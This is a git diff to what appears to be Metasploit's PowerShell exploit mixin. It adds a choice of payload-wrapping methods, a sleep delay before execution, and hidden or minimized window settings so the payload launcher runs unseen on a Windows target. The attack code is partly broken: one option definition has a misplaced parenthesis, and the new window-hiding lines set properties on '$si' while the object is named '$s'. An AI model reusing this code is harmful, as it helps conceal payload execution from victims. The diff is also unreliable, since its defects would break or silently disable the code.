import msf exploit
parent
29bf296b61
commit
0056c26047
|
@ -12,11 +12,17 @@ module Exploit::Powershell
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptBool.new('PSH::persist', [true, 'Run the payload in a loop', false]),
|
OptBool.new('PSH::persist', [true, 'Run the payload in a loop', false]),
|
||||||
OptBool.new('PSH::old_technique', [true, 'Use powershell 1.0', false]),
|
OptBool.new('PSH::prepend_sleep'), [false, 'Prepend seconds of sleep']),
|
||||||
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
|
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
|
||||||
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
|
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
|
||||||
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
|
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
|
||||||
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
|
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
|
||||||
|
OptEnum.new('PSH::method', [true, 'Payload delivery method', 'reflection', [
|
||||||
|
'net',
|
||||||
|
'reflection',
|
||||||
|
'old',
|
||||||
|
'msil'
|
||||||
|
]]),
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -144,7 +150,7 @@ module Exploit::Powershell
|
||||||
end
|
end
|
||||||
|
|
||||||
# Shorten args if PSH 2.0+
|
# Shorten args if PSH 2.0+
|
||||||
unless datastore['PSH::old_technique']
|
unless datastore['PSH::method'] == 'old'
|
||||||
arg_string.gsub!(' -Command ', ' -c ')
|
arg_string.gsub!(' -Command ', ' -c ')
|
||||||
arg_string.gsub!(' -EncodedCommand ', ' -e ')
|
arg_string.gsub!(' -EncodedCommand ', ' -e ')
|
||||||
arg_string.gsub!(' -ExecutionPolicy ', ' -ep ')
|
arg_string.gsub!(' -ExecutionPolicy ', ' -ep ')
|
||||||
|
@ -178,7 +184,7 @@ module Exploit::Powershell
|
||||||
end
|
end
|
||||||
|
|
||||||
# Old technique fails if powershell exits..
|
# Old technique fails if powershell exits..
|
||||||
arg_opts[:noexit] = true if datastore['PSH::old_technique']
|
arg_opts[:noexit] = true if datastore['PSH::method'] == 'old'
|
||||||
|
|
||||||
ps_args = generate_psh_args(arg_opts)
|
ps_args = generate_psh_args(arg_opts)
|
||||||
|
|
||||||
|
@ -193,6 +199,9 @@ $s=New-Object System.Diagnostics.ProcessStartInfo
|
||||||
$s.FileName=$b
|
$s.FileName=$b
|
||||||
$s.Arguments='#{ps_args}'
|
$s.Arguments='#{ps_args}'
|
||||||
$s.UseShellExecute=$false
|
$s.UseShellExecute=$false
|
||||||
|
$si.RedirectStandardOutput = $true
|
||||||
|
$si.WindowStyle = 'Hidden'
|
||||||
|
$si.CreateNoWindow = $True
|
||||||
$p=[System.Diagnostics.Process]::Start($s)
|
$p=[System.Diagnostics.Process]::Start($s)
|
||||||
EOS
|
EOS
|
||||||
process_start_info.gsub!("\n",';')
|
process_start_info.gsub!("\n",';')
|
||||||
|
@ -231,6 +240,17 @@ EOS
|
||||||
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
psh_payload = case datastore['PSH::method']
|
||||||
|
when 'net'
|
||||||
|
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
||||||
|
when 'reflection'
|
||||||
|
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
|
||||||
|
when 'old'
|
||||||
|
Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||||
|
when 'msil'
|
||||||
|
raise "Not in framework anymore"
|
||||||
|
end
|
||||||
|
|
||||||
# Run our payload in a while loop
|
# Run our payload in a while loop
|
||||||
if datastore['PSH::persist']
|
if datastore['PSH::persist']
|
||||||
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
||||||
|
@ -239,6 +259,13 @@ EOS
|
||||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||||
end
|
end
|
||||||
|
if datastore['PSH::prepend_sleep']
|
||||||
|
if datastore['PSH::prepend_sleep'].to_i > 0
|
||||||
|
psh_payload = "Start-Sleep -s #{datastore['PSH::prepend_sleep']};" << psh_payload
|
||||||
|
else
|
||||||
|
vprint_error('Sleep time must be greater than 0 seconds')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
compressed_payload = compress_script(psh_payload)
|
compressed_payload = compress_script(psh_payload)
|
||||||
encoded_payload = encode_script(psh_payload)
|
encoded_payload = encode_script(psh_payload)
|
||||||
|
@ -297,7 +324,7 @@ EOS
|
||||||
if opts[:remove_comspec]
|
if opts[:remove_comspec]
|
||||||
command = psh_command
|
command = psh_command
|
||||||
else
|
else
|
||||||
command = "%COMSPEC% /b /c #{psh_command}"
|
command = "%COMSPEC% /b /c start /min #{psh_command}"
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("Powershell command length: #{command.length}")
|
vprint_status("Powershell command length: #{command.length}")
|
||||||
|
@ -337,23 +364,24 @@ EOS
|
||||||
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
|
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Convert binary to byte array, read from file if able
|
# Convert binary to byte array, read from file if able
|
||||||
#
|
#
|
||||||
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
|
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
|
||||||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
||||||
code = code.unpack('C*')
|
code = code.unpack('C*')
|
||||||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
||||||
lines = []
|
lines = []
|
||||||
1.upto(code.length-1) do |byte|
|
1.upto(code.length-1) do |byte|
|
||||||
if(byte % 10 == 0)
|
if(byte % 10 == 0)
|
||||||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
||||||
else
|
else
|
||||||
lines.push ",0x#{code[byte].to_s(16)}"
|
lines.push ",0x#{code[byte].to_s(16)}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
psh << lines.join("") + "\r\n"
|
|
||||||
end
|
return psh << lines.join("") + "\r\n"
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Find PID of file locker
|
# Find PID of file locker
|
||||||
|
@ -362,10 +390,13 @@ EOS
|
||||||
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return last time of login for each user
|
||||||
|
#
|
||||||
def self.get_last_login(user)
|
def self.get_last_login(user)
|
||||||
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue